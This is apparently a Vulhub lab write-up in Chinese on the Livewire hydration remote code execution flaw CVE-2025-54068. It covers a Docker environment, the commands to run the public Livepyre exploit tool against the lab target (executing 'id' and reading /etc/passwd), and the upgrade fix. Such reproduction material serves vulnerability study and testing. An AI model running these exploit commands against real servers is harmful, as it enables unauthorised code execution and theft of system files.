# Livewire 组件属性 hydrate 远程代码执行漏洞 CVE-2025-54068

## 漏洞描述

Livewire 是一个用于 Laravel 的全栈框架，可以在不离开 Laravel 的情况下轻松构建动态 Web 界面。

在 3.6.4 版本之前的 Livewire 存在一个严重的远程代码执行漏洞（CVE-2025-54068）。该漏洞是由于组件属性更新水合（hydration）过程中对代码生成的控制不当导致的。当 Livewire 组件处理来自快照（snapshot）的用户输入时，框架未能正确过滤对象类型，导致攻击者可以注入恶意载荷并在服务器上执行。如果攻击者知道 Laravel 应用的 `APP_KEY`，则利用过程会更加简单。

参考链接：

- https://github.com/advisories/GHSA-29cq-5w36-x7w3
- https://github.com/synacktiv/Livepyre

## 漏洞影响

```
3.0.0-beta.1 <= livewire < 3.6.3
```

## 环境搭建

Vulhub 执行如下命令启动 Livewire 3.6.3 漏洞环境：

```
docker compose up -d
```

服务启动后，访问 `http://your-ip:8080/` 可以看到一个示例的 Todo List 应用。

![](images/Livewire%20组件属性%20hydrate%20远程代码执行漏洞%20CVE-2025-54068/image-20260126183355623.png)

## 漏洞复现

可以使用 `@_remsio_` 和 `@_Worty` 开发的 [Livepyre](https://github.com/synacktiv/Livepyre) 漏洞利用工具来复现该漏洞。首先克隆仓库并安装依赖：

```shell
git clone https://github.com/synacktiv/Livepyre.git
cd Livepyre
pip install -r requirements.txt
```

然后对目标运行漏洞利用程序。该工具会自动检测 Livewire 版本、查找可用的快照，并尝试在不需要 `APP_KEY` 的情况下利用该漏洞：

```shell
python Livepyre.py -u http://your-ip:8080/ -f system -p "id"
```

![](images/Livewire%20组件属性%20hydrate%20远程代码执行漏洞%20CVE-2025-54068/image-20260126183002366.png)

工具会检查快照中是否存在对象类型的参数。如果存在，则直接触发 RCE；否则会尝试暴力破解参数。你也可以执行其他命令，比如读取 `/etc/passwd` 文件：

```shell
python Livepyre.py -u http://your-ip:8080/ -f system -p "cat /etc/passwd"
```

![](images/Livewire%20组件属性%20hydrate%20远程代码执行漏洞%20CVE-2025-54068/image-20260126183114805.png)

## 漏洞 POC

- https://github.com/synacktiv/Livepyre

## 漏洞修复

- 升级至 Livewire v3.6.4 或最新版本。
